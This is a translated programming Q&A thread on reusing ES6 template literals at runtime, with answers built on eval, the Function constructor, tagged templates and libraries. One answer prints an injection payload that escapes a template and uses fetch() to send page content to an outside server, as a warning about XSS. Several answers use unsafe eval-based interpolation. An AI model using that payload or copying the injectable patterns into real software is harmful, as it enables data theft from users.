ES6模板文字可以在运行时替换（或重用）吗？

tl; dr：是否可以制作可重用的模板文字？

我一直在尝试使用模板字面量，但我想我只是不明白，而现在却感到沮丧。我的意思是，我认为我明白了，但是“它”不应该是它的工作方式或应该如何得到。它应该变得不同。

我看到的所有示例（甚至是带标签的模板）都要求“替换”必须在声明时而不是在运行时完成，这对我来说对于模板似乎完全没有用。也许我疯了，但是对我来说，“模板”是一个包含令牌的文档，这些令牌在您使用时（而不是在创建时）会被替换，否则只是一个文档（即字符串）。模板与令牌一起存储为令牌，并且在您评估模板时会评估这些令牌。

每个人都举一个可怕的例子，类似于：

var a = 'asd';
return `Worthless ${a}!`

很好，但是如果我已经知道了a，我会return 'Worthless asd'或return 'Worthless '+a。重点是什么？说真的 好吧，关键是懒惰。更少的优点，更多的可读性。大。但这不是模板！不是恕我直言。MHO至关重要！恕我直言，问题是模板在声明时就进行了评估，因此，如果这样做，恕我直言：

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

由于expletive未声明，因此输出类似的信息My undefined template。超。实际上，至少在Chrome中，我什至无法声明模板；由于expletive未定义，因此将引发错误。我需要的是能够在声明模板后进行替换：

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

但是我不知道这怎么可能，因为这些并不是真正的模板。即使您说我应该使用标签，不，它们也不起作用：

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

所有这些使我相信模板文字被严重地错误命名，应该被称为它们的真实名称：heredocs。我猜“文学”部分应该已经使我脱颖而出（例如，一成不变）？

我想念什么吗？有没有（好的）方法来制作可重用的模板文字？

我给你，可重用的模板文字：

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

这是一个幼稚的“助手”功能...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...使其“更好”。

我倾向于称它们为模板Guteral，因为它们产生扭曲的感觉的区域。

为了使这些文字像其他模板引擎一样工作，需要一种中间形式。

最好的方法是使用Function构造函数。

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

与其他模板引擎一样，您可以从文件等其他地方获取该字符串。

使用此方法可能会遇到一些问题，例如模板标记难以使用，但是如果您很聪明，可以添加这些标记。由于后期插值的原因，您也无法使用内联JavaScript逻辑。也可以通过一些思考来补救。

您可以将模板字符串放入函数中：

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

您可以使用带标签的模板执行相同的操作：

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

这个想法是让模板解析器从变量“ slots”中分离出常量字符串，然后返回一个函数，该函数每次基于一组新的值将它们全部修补在一起。

可能最干净的方法是使用箭头功能（因为此时，我们已经在使用ES6）

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...对于标记的模板文字：

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

这也避免了使用eval()或Function()会导致编译器出现问题并导致很多速度下降。

2019年答案：

注意：库最初希望用户清理字符串以避免XSS。库的版本2不再需要清理用户字符串（Web开发人员无论如何都应该这样做），因为它可以eval完全避免。

es6-dynamic-templatenpm上的模块可以执行此操作。

const fillTemplate = require('es6-dynamic-template');

与当前答案不同：

• 它使用ES6模板字符串，而不是类似的格式。更新版本2使用类似的格式，而不是ES6模板字符串，以防止用户使用未经过滤的输入字符串。
• 不需要this模板字符串
• 您可以在单个函数中指定模板字符串和变量
• 这是一个可维护的可更新模块，而不是StackOverflow中的copypasta

用法很简单。使用单引号作为模板字符串，稍后将解决！

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

是的，您可以通过Function（或eval）将模板的字符串解析为JS来做到这一点-但这并不建议这样做，它会导致XSS攻击

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

window.parseString=parseString;

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

相反，您可以按照以下方式以动态方式将对象字段安全地插入obj模板str中

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

简化@metamorphasi提供的答案；

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

如果你不希望使用命令参数或上下文/命名空间来引用您的模板中，变量例如${0}，${this.something}或者${data.something}，你可以有一个模板函数，负责划定范围的为您服务。

如何调用此类模板的示例：

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

模板功能：

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

在这种情况下，古怪的地方是您只需要传递一个返回ES6模板文字的函数（在示例中，我使用了箭头函数）。我认为这是我们需要的那种可重用插值的一个小折衷。

它在GitHub上：https : //github.com/Adelphos/ES6-Reuseable-Template

简短的回答是只使用_.template在lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

我想念什么吗？有没有[好的]方法来制作可重用的模板文字？

也许我错过了一些东西，因为我对这个问题的解决方案对我来说是如此明显，以至于我很惊讶没有人在如此古老的问题中写下这一点。

我为此几乎一线：

function defer([first, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}

就这样。当我想重用模板并推迟替换的分辨率时，我只是这样做：

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

应用此标记将返回'function'（而不是'string'）忽略所有传递给文字的参数。然后可以使用新参数调用它。如果参数没有相应的替换，它将变为'undefined'。

扩展答案

这个简单的代码是有功能的，但是如果您需要更多详细的行为，则可以应用相同的逻辑，并且存在无穷的可能性。你可以：

1. 利用原始参数：

您可以将传递给文字的原始值存储在构造中，并在应用模板时以创造性的方式使用它们。它们可以成为标志，类型验证器，函数等。这是一个使用它们作为默认值的示例：

    function deferWithDefaults([first, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, first);
    }

然后：

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 

2. 写一个模板工厂：

通过将此逻辑包装在一个函数中来做到这一点，该函数需要一个自定义函数作为参数，该自定义函数可以在归约中应用（当加入模板文字片段时），并返回具有自定义行为的新模板。

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };

然后，例如，您可以编写在编写嵌入式html，css，sql，bash时自动转义或清理参数的模板...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }

    const sql = createTemplate(sqlSanitize);

有了这个天真的（我再说一遍，天真的！）sql模板，我们可以构建如下查询：

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`

3. 接受命名参数进行替换：一项不太困难的练习，基于已经给出的内容。在另一个答案中有一个实现。

4. 使返回对象的行为类似于'string'：嗯，这是有争议的，但可能导致有趣的结果。显示在另一个答案中。

5. 在呼叫站点的全局名称空间中解析参数：

我给你，可重用的模板文字：

嗯，这就是OP用命令evil我的意思是显示了他的附录eval。无需这样做eval，只需将传递的变量名称搜索到全局（或窗口）对象中即可。我不会展示如何做，因为我不喜欢它。封闭是正确的选择。

这是我的最佳尝试：

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

概括如下：

var s = (<variable names you want>) => {return `<template with those variables>`}

如果您没有运行E6，也可以执行以下操作：

var s = function(<variable names you want>){return `<template with those variables>`}

这似乎比以前的答案更简洁。

https://repl.it/@abalter/reusable-JS-template-literal

通常，我反对使用邪恶eval()，但在这种情况下，这是有道理的：

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

然后，如果您更改值并再次调用eval（），则会得到新结果：

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

如果要在函数中使用它，则可以这样编写：

function populate(a, b){
  return `${a}.${b}`;
}

更新：以下答案仅限于单个变量名，因此，像这样的模板'Result ${a+b}'在这种情况下无效。但是，您始终可以使用模板值：

format("This is a test: ${a_b}", {a_b: a+b});

原始答案：

基于先前的答案，但创建了一个更“友好”的实用程序功能：

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

您可以像这样发票：

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

结果字符串应为：

'This is a test: Hola, second param: Hi'

如果您正在寻找比较简单的东西（只是固定变量字段，没有计算，有条件的…），但是在没有模板字符串支持的浏览器（如IE 8,9,10,11）上也可以在客户端使用。

开始了：

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

this.每次键入都需要额外的冗余使我很烦恼，因此我还添加了regex来扩展变量，如.ato this.a。

解：

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

这样使用：

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

我只是发布了一个可以简单地完成这项工作的npm软件包。深受这个答案的启发。

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

它的工具非常简单。希望你会喜欢。

module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}

您可以使用以下嵌入式箭头功能，定义：

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

用法：

console.log(template('my replaced string'));

运行时模板字符串

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

测试

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));